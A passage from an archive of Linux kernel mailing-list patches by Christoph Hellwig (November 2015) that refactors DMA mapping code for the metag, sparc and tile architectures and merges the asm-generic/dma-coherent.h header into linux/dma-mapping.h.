-	BUG_ON(!valid_dma_direction(direction));
-	dma_sync_for_device((void *)(page_to_phys(page) + offset), size,
-			    direction);
-	return page_to_phys(page) + offset;
-}
-
-static inline void
-dma_unmap_page(struct device *dev, dma_addr_t dma_address, size_t size,
-	       enum dma_data_direction direction)
+static inline struct dma_map_ops *get_dma_ops(struct device *dev)
 {
-	BUG_ON(!valid_dma_direction(direction));
-	dma_sync_for_cpu(phys_to_virt(dma_address), size, direction);
+	return &metag_dma_ops;
 }
 
-
-static inline void
-dma_unmap_sg(struct device *dev, struct scatterlist *sglist, int nhwentries,
-	     enum dma_data_direction direction)
-{
-	struct scatterlist *sg;
-	int i;
-
-	BUG_ON(!valid_dma_direction(direction));
-	WARN_ON(nhwentries == 0 || sglist[0].length == 0);
-
-	for_each_sg(sglist, sg, nhwentries, i) {
-		BUG_ON(!sg_page(sg));
-
-		sg->dma_address = sg_phys(sg);
-		dma_sync_for_cpu(sg_virt(sg), sg->length, direction);
-	}
-}
-
-static inline void
-dma_sync_single_for_cpu(struct device *dev, dma_addr_t dma_handle, size_t size,
-			enum dma_data_direction direction)
-{
-	dma_sync_for_cpu(phys_to_virt(dma_handle), size, direction);
-}
-
-static inline void
-dma_sync_single_for_device(struct device *dev, dma_addr_t dma_handle,
-			   size_t size, enum dma_data_direction direction)
-{
-	dma_sync_for_device(phys_to_virt(dma_handle), size, direction);
-}
-
-static inline void
-dma_sync_single_range_for_cpu(struct device *dev, dma_addr_t dma_handle,
-			      unsigned long offset, size_t size,
-			      enum dma_data_direction direction)
-{
-	dma_sync_for_cpu(phys_to_virt(dma_handle)+offset, size,
-			 direction);
-}
-
-static inline void
-dma_sync_single_range_for_device(struct device *dev, dma_addr_t dma_handle,
-				 unsigned long offset, size_t size,
-				 enum dma_data_direction direction)
-{
-	dma_sync_for_device(phys_to_virt(dma_handle)+offset, size,
-			    direction);
-}
-
-static inline void
-dma_sync_sg_for_cpu(struct device *dev, struct scatterlist *sglist, int nelems,
-		    enum dma_data_direction direction)
-{
-	int i;
-	struct scatterlist *sg;
-
-	for_each_sg(sglist, sg, nelems, i)
-		dma_sync_for_cpu(sg_virt(sg), sg->length, direction);
-}
-
-static inline void
-dma_sync_sg_for_device(struct device *dev, struct scatterlist *sglist,
-		       int nelems, enum dma_data_direction direction)
-{
-	int i;
-	struct scatterlist *sg;
-
-	for_each_sg(sglist, sg, nelems, i)
-		dma_sync_for_device(sg_virt(sg), sg->length, direction);
-}
-
-static inline int
-dma_mapping_error(struct device *dev, dma_addr_t dma_addr)
-{
-	return 0;
-}
-
-#define dma_supported(dev, mask)        (1)
-
-static inline int
-dma_set_mask(struct device *dev, u64 mask)
-{
-	if (!dev->dma_mask || !dma_supported(dev, mask))
-		return -EIO;
-
-	*dev->dma_mask = mask;
-
-	return 0;
-}
+#include <asm-generic/dma-mapping-common.h>
 
 /*
  * dma_alloc_noncoherent() returns non-cacheable memory, so there's no need to
@@ -184,11 +20,4 @@ dma_cache_sync(struct device *dev, void *vaddr, size_t size,
 {
 }
 
-/* drivers/base/dma-mapping.c */
-extern int dma_common_get_sgtable(struct device *dev, struct sg_table *sgt,
-				  void *cpu_addr, dma_addr_t dma_addr,
-				  size_t size);
-
-#define dma_get_sgtable(d, t, v, h, s) dma_common_get_sgtable(d, t, v, h, s)
-
 #endif
diff --git a/arch/metag/kernel/dma.c b/arch/metag/kernel/dma.c
index c700d62..e12368d 100644
--- a/arch/metag/kernel/dma.c
+++ b/arch/metag/kernel/dma.c
@@ -171,8 +171,8 @@ out:
  * Allocate DMA-coherent memory space and return both the kernel remapped
  * virtual and bus address for that space.
  */
-void *dma_alloc_coherent(struct device *dev, size_t size,
-			 dma_addr_t *handle, gfp_t gfp)
+static void *metag_dma_alloc(struct device *dev, size_t size,
+		dma_addr_t *handle, gfp_t gfp, struct dma_attrs *attrs)
 {
 	struct page *page;
 	struct metag_vm_region *c;
@@ -263,13 +263,12 @@ void *dma_alloc_coherent(struct device *dev, size_t size,
 no_page:
 	return NULL;
 }
-EXPORT_SYMBOL(dma_alloc_coherent);
 
 /*
  * free a page as defined by the above mapping.
  */
-void dma_free_coherent(struct device *dev, size_t size,
-		       void *vaddr, dma_addr_t dma_handle)
+static void metag_dma_free(struct device *dev, size_t size, void *vaddr,
+		dma_addr_t dma_handle, struct dma_attrs *attrs)
 {
 	struct metag_vm_region *c;
 	unsigned long flags, addr;
@@ -329,16 +328,19 @@ no_area:
 	       __func__, vaddr);
 	dump_stack();
 }
-EXPORT_SYMBOL(dma_free_coherent);
 
-
-static int dma_mmap(struct device *dev, struct vm_area_struct *vma,
-		    void *cpu_addr, dma_addr_t dma_addr, size_t size)
+static int metag_dma_mmap(struct device *dev, struct vm_area_struct *vma,
+		void *cpu_addr, dma_addr_t dma_addr, size_t size,
+		struct dma_attrs *attrs)
 {
-	int ret = -ENXIO;
-
 	unsigned long flags, user_size, kern_size;
 	struct metag_vm_region *c;
+	int ret = -ENXIO;
+
+	if (dma_get_attr(DMA_ATTR_WRITE_COMBINE, attrs))
+		vma->vm_page_prot = pgprot_writecombine(vma->vm_page_prot);
+	else
+		vma->vm_page_prot = pgprot_noncached(vma->vm_page_prot);
 
 	user_size = (vma->vm_end - vma->vm_start) >> PAGE_SHIFT;
 
@@ -364,25 +366,6 @@ static int dma_mmap(struct device *dev, struct vm_area_struct *vma,
 	return ret;
 }
 
-int dma_mmap_coherent(struct device *dev, struct vm_area_struct *vma,
-		      void *cpu_addr, dma_addr_t dma_addr, size_t size)
-{
-	vma->vm_page_prot = pgprot_noncached(vma->vm_page_prot);
-	return dma_mmap(dev, vma, cpu_addr, dma_addr, size);
-}
-EXPORT_SYMBOL(dma_mmap_coherent);
-
-int dma_mmap_writecombine(struct device *dev, struct vm_area_struct *vma,
-			  void *cpu_addr, dma_addr_t dma_addr, size_t size)
-{
-	vma->vm_page_prot = pgprot_writecombine(vma->vm_page_prot);
-	return dma_mmap(dev, vma, cpu_addr, dma_addr, size);
-}
-EXPORT_SYMBOL(dma_mmap_writecombine);
-
-
-
-
 /*
  * Initialise the consistent memory allocation.
  */
@@ -423,7 +406,7 @@ early_initcall(dma_alloc_init);
 /*
  * make an area consistent to devices.
  */
-void dma_sync_for_device(void *vaddr, size_t size, int dma_direction)
+static void dma_sync_for_device(void *vaddr, size_t size, int dma_direction)
 {
 	/*
 	 * Ensure any writes get through the write combiner. This is necessary
@@ -465,12 +448,11 @@ void dma_sync_for_device(void *vaddr, size_t size, int dma_direction)
 
 	wmb();
 }
-EXPORT_SYMBOL(dma_sync_for_device);
 
 /*
  * make an area consistent to the core.
  */
-void dma_sync_for_cpu(void *vaddr, size_t size, int dma_direction)
+static void dma_sync_for_cpu(void *vaddr, size_t size, int dma_direction)
 {
 	/*
 	 * Hardware L2 cache prefetch doesn't occur across 4K physical
@@ -497,4 +479,100 @@ void dma_sync_for_cpu(void *vaddr, size_t size, int dma_direction)
 
 	rmb();
 }
-EXPORT_SYMBOL(dma_sync_for_cpu);
+
+static dma_addr_t metag_dma_map_page(struct device *dev, struct page *page,
+		unsigned long offset, size_t size,
+		enum dma_data_direction direction, struct dma_attrs *attrs)
+{
+	dma_sync_for_device((void *)(page_to_phys(page) + offset), size,
+			    direction);
+	return page_to_phys(page) + offset;
+}
+
+static void metag_dma_unmap_page(struct device *dev, dma_addr_t dma_address,
+		size_t size, enum dma_data_direction direction,
+		struct dma_attrs *attrs)
+{
+	dma_sync_for_cpu(phys_to_virt(dma_address), size, direction);
+}
+
+static int metag_dma_map_sg(struct device *dev, struct scatterlist *sglist,
+		int nents, enum dma_data_direction direction,
+		struct dma_attrs *attrs)
+{
+	struct scatterlist *sg;
+	int i;
+
+	for_each_sg(sglist, sg, nents, i) {
+		BUG_ON(!sg_page(sg));
+
+		sg->dma_address = sg_phys(sg);
+		dma_sync_for_device(sg_virt(sg), sg->length, direction);
+	}
+
+	return nents;
+}
+
+
+static void metag_dma_unmap_sg(struct device *dev, struct scatterlist *sglist,
+		int nhwentries, enum dma_data_direction direction,
+		struct dma_attrs *attrs)
+{
+	struct scatterlist *sg;
+	int i;
+
+	for_each_sg(sglist, sg, nhwentries, i) {
+		BUG_ON(!sg_page(sg));
+
+		sg->dma_address = sg_phys(sg);
+		dma_sync_for_cpu(sg_virt(sg), sg->length, direction);
+	}
+}
+
+static void metag_dma_sync_single_for_cpu(struct device *dev,
+		dma_addr_t dma_handle, size_t size,
+		enum dma_data_direction direction)
+{
+	dma_sync_for_cpu(phys_to_virt(dma_handle), size, direction);
+}
+
+static void metag_dma_sync_single_for_device(struct device *dev,
+		dma_addr_t dma_handle, size_t size,
+		enum dma_data_direction direction)
+{
+	dma_sync_for_device(phys_to_virt(dma_handle), size, direction);
+}
+
+static void metag_dma_sync_sg_for_cpu(struct device *dev,
+		struct scatterlist *sglist, int nelems,
+		enum dma_data_direction direction)
+{
+	int i;
+	struct scatterlist *sg;
+
+	for_each_sg(sglist, sg, nelems, i)
+		dma_sync_for_cpu(sg_virt(sg), sg->length, direction);
+}
+
+static void metag_dma_sync_sg_for_device(struct device *dev,
+		struct scatterlist *sglist, int nelems,
+		enum dma_data_direction direction)
+{
+	int i;
+	struct scatterlist *sg;
+
+	for_each_sg(sglist, sg, nelems, i)
+		dma_sync_for_device(sg_virt(sg), sg->length, direction);
+}
+
+struct dma_map_ops metag_dma_ops = {
+	.alloc			= metag_dma_alloc,
+	.free			= metag_dma_free,
+	.map_page		= metag_dma_map_page,
+	.map_sg			= metag_dma_map_sg,
+	.sync_single_for_device	= metag_dma_sync_single_for_device,
+	.sync_single_for_cpu	= metag_dma_sync_single_for_cpu,
+	.sync_sg_for_cpu	= metag_dma_sync_sg_for_cpu,
+	.mmap			= metag_dma_mmap,
+};
+EXPORT_SYMBOL(metag_dma_ops);
-- 
1.9.1


From - Thu Nov 08 21:38:02 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Christoph Hellwig <hch@lst.de>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel.metag,gmane.linux.ports.sparc,gmane.linux.kernel.iommu
Subject: [PATCH 13/16] sparc: use generic dma_set_mask
Date: Mon,  9 Nov 2015 19:17:18 +0100
Lines: 32
Approved: news@gmane.org
Message-ID: <1447093041-21832-14-git-send-email-hch@lst.de>
References: <1447093041-21832-1-git-send-email-hch@lst.de>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1447093368 18857 80.91.229.3 (9 Nov 2015 18:22:48 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 9 Nov 2015 18:22:48 +0000 (UTC)
To: Andrew Morton <akpm@linux-foundation.org>,
	Haavard Skinnemoen <hskinnemoen@gmail.com>,
	Hans-Christian Egtvedt <egtvedt@samfundet.no>,
	Steven Miao <realmz6@gmail.com>,
	Ley Foon Tan <lftan@altera.com>,
	David Howells <dhowells@redhat.com>,
	Koichi Yasutake <yasutake.koichi@jp.panasonic.com>,
	Chris Metcalf <cmetcalf@ezchip.com>,
	linux-snps-arc@lists.infraded.org, linux-c6x-dev@linux-c6x.org,
	linux-cris-kernel@axis.com, linux-parisc@vger.kernel.org,
	linux-m68k@lists.linux-m68k.org, linux-metag@vger.kernel.org,
	sparclinux@vger.kernel.org, iommu@lists.linux-foundation.org
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Nov 09 19:22:41 2015
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1Zvr5U-00059O-2t
	for glpp-linux-parisc@plane.gmane.org; Mon, 09 Nov 2015 19:22:40 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752481AbbKISWc (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 9 Nov 2015 13:22:32 -0500
Original-Received: from bombadil.infradead.org ([198.137.202.9]:58691 "EHLO
	bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752095AbbKISWb (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 9 Nov 2015 13:22:31 -0500
Original-Received: from [83.175.99.196] (helo=localhost)
	by bombadil.infradead.org with esmtpsa (Exim 4.80.1 #2 (Red Hat Linux))
	id 1Zvr5F-0003hD-48; Mon, 09 Nov 2015 18:22:25 +0000
X-Mailer: git-send-email 1.9.1
In-Reply-To: <1447093041-21832-1-git-send-email-hch@lst.de>
X-SRS-Rewrite: SMTP reverse-path rewritten from <hch@infradead.org> by bombadil.infradead.org
	See http://www.infradead.org/rpr.html
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26143 gmane.linux.kernel.metag:660 gmane.linux.ports.sparc:21747 gmane.linux.kernel.iommu:11453
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26143>

Sparc already uses the same code as the generic code for the PCI
implementation but just fails the call sbus.  This moves to the
generic implemenation which eventually return -EIO due to the NULL
dma_mask pointer in the device.

Signed-off-by: Christoph Hellwig <hch@lst.de>
---
 arch/sparc/include/asm/dma-mapping.h | 15 ---------------
 1 file changed, 15 deletions(-)

diff --git a/arch/sparc/include/asm/dma-mapping.h b/arch/sparc/include/asm/dma-mapping.h
index a21da59..2777092 100644
--- a/arch/sparc/include/asm/dma-mapping.h
+++ b/arch/sparc/include/asm/dma-mapping.h
@@ -37,21 +37,6 @@ static inline struct dma_map_ops *get_dma_ops(struct device *dev)
 	return dma_ops;
 }
 
-#define HAVE_ARCH_DMA_SET_MASK 1
-
-static inline int dma_set_mask(struct device *dev, u64 mask)
-{
-#ifdef CONFIG_PCI
-	if (dev->bus == &pci_bus_type) {
-		if (!dev->dma_mask || !dma_supported(dev, mask))
-			return -EINVAL;
-		*dev->dma_mask = mask;
-		return 0;
-	}
-#endif
-	return -EINVAL;
-}

From - Thu Nov 08 21:38:02 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Christoph Hellwig <hch@lst.de>
Newsgroups: gmane.linux.ports.sparc,gmane.linux.ports.parisc,gmane.linux.kernel.metag,gmane.linux.kernel.iommu
Subject: [PATCH 14/16] tile: uninline dma_set_mask
Date: Mon,  9 Nov 2015 19:17:19 +0100
Lines: 98
Approved: news@gmane.org
Message-ID: <1447093041-21832-15-git-send-email-hch@lst.de>
References: <1447093041-21832-1-git-send-email-hch@lst.de>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1447093383 19283 80.91.229.3 (9 Nov 2015 18:23:03 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 9 Nov 2015 18:23:03 +0000 (UTC)
To: Andrew Morton <akpm@linux-foundation.org>,
	Haavard Skinnemoen <hskinnemoen@gmail.com>,
	Hans-Christian Egtvedt <egtvedt@samfundet.no>,
	Steven Miao <realmz6@gmail.com>,
	Ley Foon Tan <lftan@altera.com>,
	David Howells <dhowells@redhat.com>,
	Koichi Yasutake <yasutake.koichi@jp.panasonic.com>,
	Chris Metcalf <cmetcalf@ezchip.com>,
	linux-snps-arc@lists.infraded.org, linux-c6x-dev@linux-c6x.org,
	linux-cris-kernel@axis.com, linux-parisc@vger.kernel.org,
	linux-m68k@lists.linux-m68k.org, linux-metag@vger.kernel.org,
	sparclinux@vger.kernel.org, iommu@lists.linux-foundation.org
Original-X-From: sparclinux-owner@vger.kernel.org Mon Nov 09 19:22:48 2015
Return-path: <sparclinux-owner@vger.kernel.org>
Envelope-to: lnx-sparclinux@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <sparclinux-owner@vger.kernel.org>)
	id 1Zvr5V-00059O-Tm
	for lnx-sparclinux@plane.gmane.org; Mon, 09 Nov 2015 19:22:42 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752280AbbKISWk (ORCPT <rfc822;lnx-sparclinux@m.gmane.org>);
	Mon, 9 Nov 2015 13:22:40 -0500
Original-Received: from bombadil.infradead.org ([198.137.202.9]:58821 "EHLO
	bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752137AbbKISWj (ORCPT
	<rfc822;sparclinux@vger.kernel.org>); Mon, 9 Nov 2015 13:22:39 -0500
Original-Received: from [83.175.99.196] (helo=localhost)
	by bombadil.infradead.org with esmtpsa (Exim 4.80.1 #2 (Red Hat Linux))
	id 1Zvr5I-0003ik-2B; Mon, 09 Nov 2015 18:22:28 +0000
X-Mailer: git-send-email 1.9.1
In-Reply-To: <1447093041-21832-1-git-send-email-hch@lst.de>
X-SRS-Rewrite: SMTP reverse-path rewritten from <hch@infradead.org> by bombadil.infradead.org
	See http://www.infradead.org/rpr.html
Original-Sender: sparclinux-owner@vger.kernel.org
Precedence: bulk
List-ID: <sparclinux.vger.kernel.org>
X-Mailing-List: sparclinux@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.sparc:21748 gmane.linux.ports.parisc:26144 gmane.linux.kernel.metag:661 gmane.linux.kernel.iommu:11454
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.sparc/21748>

We'll soon merge <asm-generic/dma-mapping-common.h> into <linux/dma-mapping.h>
and the reference to dma_capable in the tile dma_set_mask would create a
circular dependency.  Fix this by moving the implementation out of line.

Signed-off-by: Christoph Hellwig <hch@lst.de>
---
 arch/tile/include/asm/dma-mapping.h | 29 +----------------------------
 arch/tile/kernel/pci-dma.c          | 29 +++++++++++++++++++++++++++++
 2 files changed, 30 insertions(+), 28 deletions(-)

diff --git a/arch/tile/include/asm/dma-mapping.h b/arch/tile/include/asm/dma-mapping.h
index 96ac6cc..c342736 100644
--- a/arch/tile/include/asm/dma-mapping.h
+++ b/arch/tile/include/asm/dma-mapping.h
@@ -76,34 +76,7 @@ static inline bool dma_capable(struct device *dev, dma_addr_t addr, size_t size)
 
 #include <asm-generic/dma-mapping-common.h>
 
-static inline int
-dma_set_mask(struct device *dev, u64 mask)
-{
-	struct dma_map_ops *dma_ops = get_dma_ops(dev);
-
-	/*
-	 * For PCI devices with 64-bit DMA addressing capability, promote
-	 * the dma_ops to hybrid, with the consistent memory DMA space limited
-	 * to 32-bit. For 32-bit capable devices, limit the streaming DMA
-	 * address range to max_direct_dma_addr.
-	 */
-	if (dma_ops == gx_pci_dma_map_ops ||
-	    dma_ops == gx_hybrid_pci_dma_map_ops ||
-	    dma_ops == gx_legacy_pci_dma_map_ops) {
-		if (mask == DMA_BIT_MASK(64) &&
-		    dma_ops == gx_legacy_pci_dma_map_ops)
-			set_dma_ops(dev, gx_hybrid_pci_dma_map_ops);
-		else if (mask > dev->archdata.max_direct_dma_addr)
-			mask = dev->archdata.max_direct_dma_addr;
-	}
-
-	if (!dev->dma_mask || !dma_supported(dev, mask))
-		return -EIO;
-
-	*dev->dma_mask = mask;
-
-	return 0;
-}
+int dma_set_mask(struct device *dev, u64 mask);
 
 /*
  * dma_alloc_noncoherent() is #defined to return coherent memory,
diff --git a/arch/tile/kernel/pci-dma.c b/arch/tile/kernel/pci-dma.c
index 09b5870..b6bc054 100644
--- a/arch/tile/kernel/pci-dma.c
+++ b/arch/tile/kernel/pci-dma.c
@@ -583,6 +583,35 @@ struct dma_map_ops *gx_hybrid_pci_dma_map_ops;
 EXPORT_SYMBOL(gx_legacy_pci_dma_map_ops);
 EXPORT_SYMBOL(gx_hybrid_pci_dma_map_ops);
 
+int dma_set_mask(struct device *dev, u64 mask)
+{
+	struct dma_map_ops *dma_ops = get_dma_ops(dev);
+
+	/*
+	 * For PCI devices with 64-bit DMA addressing capability, promote
+	 * the dma_ops to hybrid, with the consistent memory DMA space limited
+	 * to 32-bit. For 32-bit capable devices, limit the streaming DMA
+	 * address range to max_direct_dma_addr.
+	 */
+	if (dma_ops == gx_pci_dma_map_ops ||
+	    dma_ops == gx_hybrid_pci_dma_map_ops ||
+	    dma_ops == gx_legacy_pci_dma_map_ops) {
+		if (mask == DMA_BIT_MASK(64) &&
+		    dma_ops == gx_legacy_pci_dma_map_ops)
+			set_dma_ops(dev, gx_hybrid_pci_dma_map_ops);
+		else if (mask > dev->archdata.max_direct_dma_addr)
+			mask = dev->archdata.max_direct_dma_addr;
+	}
+
+	if (!dev->dma_mask || !dma_supported(dev, mask))
+		return -EIO;
+
+	*dev->dma_mask = mask;
+
+	return 0;
+}
+EXPORT_SYMBOL(dma_set_mask);
+
 #ifdef CONFIG_ARCH_HAS_DMA_SET_COHERENT_MASK
 int dma_set_coherent_mask(struct device *dev, u64 mask)
 {
-- 
1.9.1

--
To unsubscribe from this list: send the line "unsubscribe sparclinux" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:38:02 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Christoph Hellwig <hch@lst.de>
Newsgroups: gmane.linux.ports.sparc,gmane.linux.ports.parisc,gmane.linux.kernel.metag,gmane.linux.kernel.iommu
Subject: [PATCH 16/16] dma-mapping: remove <asm-generic/dma-coherent.h>
Date: Mon,  9 Nov 2015 19:17:21 +0100
Lines: 177
Approved: news@gmane.org
Message-ID: <1447093041-21832-17-git-send-email-hch@lst.de>
References: <1447093041-21832-1-git-send-email-hch@lst.de>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1447093397 19706 80.91.229.3 (9 Nov 2015 18:23:17 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 9 Nov 2015 18:23:17 +0000 (UTC)
To: Andrew Morton <akpm@linux-foundation.org>,
	Haavard Skinnemoen <hskinnemoen@gmail.com>,
	Hans-Christian Egtvedt <egtvedt@samfundet.no>,
	Steven Miao <realmz6@gmail.com>,
	Ley Foon Tan <lftan@altera.com>,
	David Howells <dhowells@redhat.com>,
	Koichi Yasutake <yasutake.koichi@jp.panasonic.com>,
	Chris Metcalf <cmetcalf@ezchip.com>,
	linux-snps-arc@lists.infraded.org, linux-c6x-dev@linux-c6x.org,
	linux-cris-kernel@axis.com, linux-parisc@vger.kernel.org,
	linux-m68k@lists.linux-m68k.org, linux-metag@vger.kernel.org,
	sparclinux@vger.kernel.org, iommu@lists.linux-foundation.org
Original-X-From: sparclinux-owner@vger.kernel.org Mon Nov 09 19:23:13 2015
Return-path: <sparclinux-owner@vger.kernel.org>
Envelope-to: lnx-sparclinux@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <sparclinux-owner@vger.kernel.org>)
	id 1Zvr5m-00059O-3j
	for lnx-sparclinux@plane.gmane.org; Mon, 09 Nov 2015 19:22:58 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752814AbbKISWq (ORCPT <rfc822;lnx-sparclinux@m.gmane.org>);
	Mon, 9 Nov 2015 13:22:46 -0500
Original-Received: from bombadil.infradead.org ([198.137.202.9]:58935 "EHLO
	bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752723AbbKISWn (ORCPT
	<rfc822;sparclinux@vger.kernel.org>); Mon, 9 Nov 2015 13:22:43 -0500
Original-Received: from [83.175.99.196] (helo=localhost)
	by bombadil.infradead.org with esmtpsa (Exim 4.80.1 #2 (Red Hat Linux))
	id 1Zvr5P-0003nr-Fx; Mon, 09 Nov 2015 18:22:36 +0000
X-Mailer: git-send-email 1.9.1
In-Reply-To: <1447093041-21832-1-git-send-email-hch@lst.de>
X-SRS-Rewrite: SMTP reverse-path rewritten from <hch@infradead.org> by bombadil.infradead.org
	See http://www.infradead.org/rpr.html
Original-Sender: sparclinux-owner@vger.kernel.org
Precedence: bulk
List-ID: <sparclinux.vger.kernel.org>
X-Mailing-List: sparclinux@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.sparc:21749 gmane.linux.ports.parisc:26145 gmane.linux.kernel.metag:662 gmane.linux.kernel.iommu:11455
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.sparc/21749>

This wasn't an asm-generic header to start with, and can be merged into
dma-mapping.h trivially.

Signed-off-by: Christoph Hellwig <hch@lst.de>
---
 arch/xtensa/include/asm/dma-mapping.h |  2 --
 drivers/base/dma-mapping.c            |  3 +--
 include/asm-generic/dma-coherent.h    | 32 --------------------------------
 include/linux/dma-mapping.h           | 34 ++++++++++++++++++++++++++++------
 4 files changed, 29 insertions(+), 42 deletions(-)
 delete mode 100644 include/asm-generic/dma-coherent.h

diff --git a/arch/xtensa/include/asm/dma-mapping.h b/arch/xtensa/include/asm/dma-mapping.h
index 32350e9..4e6ff4d 100644
--- a/arch/xtensa/include/asm/dma-mapping.h
+++ b/arch/xtensa/include/asm/dma-mapping.h
@@ -13,8 +13,6 @@
 #include <asm/cache.h>
 #include <asm/io.h>
 
-#include <asm-generic/dma-coherent.h>
-
 #include <linux/mm.h>
 #include <linux/scatterlist.h>
 
diff --git a/drivers/base/dma-mapping.c b/drivers/base/dma-mapping.c
index 381e39d..d799662 100644
--- a/drivers/base/dma-mapping.c
+++ b/drivers/base/dma-mapping.c
@@ -12,7 +12,6 @@
 #include <linux/gfp.h>
 #include <linux/slab.h>
 #include <linux/vmalloc.h>
-#include <asm-generic/dma-coherent.h>
 
 /*
  * Managed DMA API
@@ -167,7 +166,7 @@ void dmam_free_noncoherent(struct device *dev, size_t size, void *vaddr,
 }
 EXPORT_SYMBOL(dmam_free_noncoherent);
 
-#ifdef ARCH_HAS_DMA_DECLARE_COHERENT_MEMORY
+#ifdef CONFIG_HAVE_GENERIC_DMA_COHERENT
 
 static void dmam_coherent_decl_release(struct device *dev, void *res)
 {
diff --git a/include/asm-generic/dma-coherent.h b/include/asm-generic/dma-coherent.h
deleted file mode 100644
index 0297e58..0000000
--- a/include/asm-generic/dma-coherent.h
+++ /dev/null
@@ -1,32 +0,0 @@
-#ifndef DMA_COHERENT_H
-#define DMA_COHERENT_H
-
-#ifdef CONFIG_HAVE_GENERIC_DMA_COHERENT
-/*
- * These three functions are only for dma allocator.
- * Don't use them in device drivers.
- */
-int dma_alloc_from_coherent(struct device *dev, ssize_t size,
-				       dma_addr_t *dma_handle, void **ret);
-int dma_release_from_coherent(struct device *dev, int order, void *vaddr);
-
-int dma_mmap_from_coherent(struct device *dev, struct vm_area_struct *vma,
-			    void *cpu_addr, size_t size, int *ret);
-/*
- * Standard interface
- */
-#define ARCH_HAS_DMA_DECLARE_COHERENT_MEMORY
-int dma_declare_coherent_memory(struct device *dev, phys_addr_t phys_addr,
-				dma_addr_t device_addr, size_t size, int flags);
-
-void dma_release_declared_memory(struct device *dev);
-
-void *dma_mark_declared_memory_occupied(struct device *dev,
-					dma_addr_t device_addr, size_t size);
-#else
-#define dma_alloc_from_coherent(dev, size, handle, ret) (0)
-#define dma_release_from_coherent(dev, order, vaddr) (0)
-#define dma_mmap_from_coherent(dev, vma, vaddr, order, ret) (0)
-#endif
-
-#endif
diff --git a/include/linux/dma-mapping.h b/include/linux/dma-mapping.h
index cc0517b..d6b575b 100644
--- a/include/linux/dma-mapping.h
+++ b/include/linux/dma-mapping.h
@@ -11,7 +11,6 @@
 #include <linux/scatterlist.h>
 #include <linux/kmemcheck.h>
 #include <linux/bug.h>
-#include <asm-generic/dma-coherent.h>
 
 /*
  * A dma_addr_t can hold any valid DMA or bus address for the platform.
@@ -87,6 +86,23 @@ static inline int is_device_dma_capable(struct device *dev)
 	return dev->dma_mask != NULL && *dev->dma_mask != DMA_MASK_NONE;
 }
 
+#ifdef CONFIG_HAVE_GENERIC_DMA_COHERENT
+/*
+ * These three functions are only for dma allocator.
+ * Don't use them in device drivers.
+ */
+int dma_alloc_from_coherent(struct device *dev, ssize_t size,
+				       dma_addr_t *dma_handle, void **ret);
+int dma_release_from_coherent(struct device *dev, int order, void *vaddr);
+
+int dma_mmap_from_coherent(struct device *dev, struct vm_area_struct *vma,
+			    void *cpu_addr, size_t size, int *ret);
+#else
+#define dma_alloc_from_coherent(dev, size, handle, ret) (0)
+#define dma_release_from_coherent(dev, order, vaddr) (0)
+#define dma_mmap_from_coherent(dev, vma, vaddr, order, ret) (0)
+#endif /* CONFIG_HAVE_GENERIC_DMA_COHERENT */
+
 #ifdef CONFIG_HAS_DMA
 #include <asm/dma-mapping.h>
 #else
@@ -568,7 +584,13 @@ static inline int dma_get_cache_alignment(void)
 #define DMA_MEMORY_INCLUDES_CHILDREN	0x04
 #define DMA_MEMORY_EXCLUSIVE		0x08
 
-#ifndef ARCH_HAS_DMA_DECLARE_COHERENT_MEMORY
+#ifdef CONFIG_HAVE_GENERIC_DMA_COHERENT
+int dma_declare_coherent_memory(struct device *dev, phys_addr_t phys_addr,
+				dma_addr_t device_addr, size_t size, int flags);
+void dma_release_declared_memory(struct device *dev);
+void *dma_mark_declared_memory_occupied(struct device *dev,
+					dma_addr_t device_addr, size_t size);
+#else
 static inline int
 dma_declare_coherent_memory(struct device *dev, phys_addr_t phys_addr,
 			    dma_addr_t device_addr, size_t size, int flags)
@@ -587,7 +609,7 @@ dma_mark_declared_memory_occupied(struct device *dev,
 {
 	return ERR_PTR(-EBUSY);
 }
-#endif
